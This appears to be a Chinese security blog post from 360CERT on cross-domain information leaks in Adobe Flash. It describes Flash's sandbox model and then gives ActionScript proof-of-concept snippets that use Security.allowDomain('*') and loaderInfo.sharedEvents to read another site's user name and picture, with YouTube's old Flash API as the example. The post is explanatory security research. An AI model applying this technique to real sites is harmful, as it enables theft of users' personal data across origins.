【技术分享】Flash的跨域问题

https://p1.ssl.qhimg.com/t014940ebcb2c130853.png

作者:MerJerson@360CERT

 

0x00 背景

 

Flash是一种动画创作与应用程序开发于一身的创作软件,到2013年9月2日为止,最新的零售版本为AdobeFlash ProfessionalCC(2013年发布)。Adobe Flash Professional CC为创建数字动画、交互式Web站点、桌面应用程序以及手机应用程序开发提供了功能全面的创作和编辑环境。Flash广泛用于创建吸引人的应用程序,它们包含丰富的视频、声音、图形和动画。可以在Flash中创建原始内容或者从其它Adobe应用程序(如Photoshop或illustrator)导入它们,快速设计简单的动画,以及使用Adobe ActionScript 3.0开发高级的交互式项目。设计人员和开发人员可使用它来创建演示文稿、应用程序和其它允许用户交互的内容。

与其他应用型语言一样,Flash的运行也是基于安全沙箱环境。因为自身设计的缺陷,一直有安全问题。在精心构造的flash下,会有信息泄露的风险。

 

0x01 Flash安全沙箱

 

客户端计算机可以获得包含来自许多源(如外部网站、本地文件系统或安装的 AIR 应用程序)的代码、内容和数据的各个文件。Flash Player 和 AIR 运行时会根据代码文件及其他资源(如共享对象,位图、声音、视频和数据文件)加载时的来源分别将其分配到安全沙箱中。

远程沙箱

Flash Player 和 AIR 运行时将来自 Internet 的资源(包括 SWF 文件)分类到与其原始域对应的单独沙箱中。例如,会将从 example.com 加载的资源放置到与从 foo.org 加载的资源不同的安全沙箱中。默认情况下,对这些文件授予访问其自身所在服务器中任何资源的权限。通过显式的 Web 站点许可和作者许可(例如 URL 策略文件和 Security.allowDomain() 方法),可以允许远程 SWF 文件访问其他域的其他数据。但是远程沙箱无法加载本地资源文件

本地沙箱

“本地文件”是指通过使用 file: 协议或统一命名约定 (UNC) 路径引用的任何文件。本地 SWF 文件放置在四个本地沙箱中的一个内:

只能与本地文件系统内容交互的沙箱 — 出于安全方面的考虑,默认情况下,Flash Player 和 AIR 运行时会将所有本地文件放置在只能与本地文件系统内容交互的沙箱中。通过此沙箱,可执行代码可以读取本地文件(例如通过使用 URLLoader 类),但无法通过任何方式与网络通信。这样可向用户保证本地数据不会泄漏到网络或以其他方式不适当地共享。

只能与远程内容交互的沙箱 — 编译 SWF 文件时,可以指定该文件作为本地文件运行时拥有网络访问权限。这些文件位于只能与远程内容交互的沙箱中。分配到只能与远程内容交互的沙箱中的 SWF 文件将失去其本地文件访问权限,但允许这些 SWF 文件访问网络中的数据。不过,只有通过 URL 策略文件或调用 Security.allowDomain() 方法来授予操作权限,才允许远程内容交互的 SWF 文件读取源自网络的数据。为授予此类权限,URL 策略文件必须向“所有”域授予权限,方法是使用 <allow-access-from domain=”*”/> 或使用 Security.allowDomain(“*”)。有

受信任的本地沙箱 — 注册为受信任(由用户或安装程序注册)的本地 SWF 文件放置在受信任的本地沙箱中。系统管理员和用户还可以根据安全注意事项将本地 SWF 文件重新分配(移动)到受信任的本地沙箱,或者从受信任的本地沙箱重新分配(移动)本地 SWF 文件分配到受信任的本地沙箱的 SWF 文件可以与其他任何 SWF 文件交互,也可以从任何位置(远程或本地)加载数据。

AIR 应用程序安全沙箱 — 该沙箱包含在运行 AIR 应用程序时安装的内容。默认情况下,在 AIR 应用程序沙箱中执行的代码可跨脚本访问来自任何域的代码。但是,不允许 AIR 应用程序沙箱外的文件跨脚本访问应用程序沙箱内的代码。默认情况下,AIR 应用程序沙箱内的代码和内容可加载来自任何域的内容和数据。

只能与远程内容交互的沙箱和只能与本地文件系统内容交互的沙箱之间的通信以及只能与本地文件系统内容交互的沙箱和远程沙箱之间的通信是严格禁止的。运行于 Flash Player 中的应用程序或用户/管理员不能授予允许此类通信的权限。

在本地 HTML 文件和本地 SWF 文件之间以任一方向访问脚本(例如使用 ExternalInterface 类)均要求涉及的 HTML 文件和 SWF 文件应位于受信任的本地沙箱中。这是因为浏览器的本地安全模型与 Flash Player 本地安全模型不同。

只能与远程内容交互的沙箱中的 SWF 文件无法加载只能与本地文件系统内容交互的沙箱中的 SWF 文件。只能与本地文件系统内容交互的沙箱中的 SWF 文件无法加载只能与远程内容交互的沙箱中的 SWF 文件。

 

0x02 攻击实现

在swf中可以包含包含代码Security.allowDomain(“*”),以允许主机网页上的javascript将命令发送到Flash应用程序,如play(),pause()等等。这也意味着Evil Wrapper可以访问任何公共属性,就像在同一个安全沙箱中一样。但是它无法访问私有属性。

 

public function Wrapper(){  
    // allow external javascript/Flash files to access its public properties  
    Security.allowDomain("*");  
    // load the Main App  
    this.appLoader .load(new URLRequest("https://xxxx.com/.../attack2.swf");  
    // add as child of display container  
    this.addChild(this.appLoader );  
    // loaderInfo.sharedEvents Api  
    this.loader.contentLoaderInfo.sharedEvents  
    .addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);  
}

在Flash中加载外部Flash文件有点类似于在html中加载<iframe>。如果iframe来自与其父项不同的来源,则由于同源策略(SOP),它们不能访问彼此的属性。

Flash还提供了一个Api,用于在Loader和加载文件之间使用loaderInfo.sharedEvents进行通信。使用此API与主应用程序进行通信。当主应用程序将一个事件发送到sharedEvents Api时,接收事件并使用event.data属性发回用户信息。此处,恰恰是打破沙箱,跨域的关键。

 

private  function onRequestUserinfo(event:Event){  
    //将用户信息写入event.data属性  
    // sharedEvents调用者可以访问它  
    event.data.user_name =  this .user_name;  
    event.data.user_image =  this .user_image;  
}

并且loaderInfo.sharedEvents不仅可以访问加载程序和加载的文件,还可以访问任何引用此loaderInfo对象的Flash文件。

举一个例子,Youtube曾经对视频提供过Flash API。我们可以构造如下的wrapper:

 

var loader = new Loader();  
// Load the Youtube Wrapper  
loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));  
var youtubeWrapper = loader.content;  
// Access the Youtube Wrapper appLoader object  
var appLoader = youtubeWrapper.getChildAt(0);  
// Access the loaderInfo.sharedEvents of appLoader  
var LeakingSharedEvents = appLoader.contentLoaderInfo.sharedEvents;  
// Prepare the event to send to Youtube Wrapper  
var leakEvent = new Event("Request_username");  
leakEvent.data = new Object();  
// Send the leakEvent to the LeakingSharedEvents  
LeakingSharedEvents.dispatchEvent(leakEvent);  
  
// The username is now accessible in the event.data property  
trace(leakEvent.data.user_name);  
trace(leakEvent.data.user_picture);

如次这样的话,就可以通过LoaderInfo.sharedEvent进行跨域资源访问。许多网站都提供flash播放,这样的话会有很大的隐患,因为sharedEvents带来的跨域问题,常常用来窃取用户信息。

根据之上所讲的攻击原理,我们可以构造如下的具体的攻击模型如下:

https://p0.ssl.qhimg.com/t01f4c6b020e85aa073.gif

 

0x03 总结

 

21世纪初,Flash开创性的推出FLV容器格式和vp6vp7视频压缩算法,让视频不用缓冲就能秒看。进入智能时代后,H5和其他前端技术发展极大的冲击了Flash。Adobe发布声明,将在2020年前停止开发和分发Flash插件,在未来三年的时间内,苹果、Facebook、谷歌、微软和Mozilla渐渐停止对Flash的支持,看来死期已到。

但是目前来看,一些网站,对Flash的转型还不完全,比如目前市面上的各种页游,小型视频网站,以及弹窗广告。现在大都延续着Flash,这都是潜藏着的攻击面。

(完)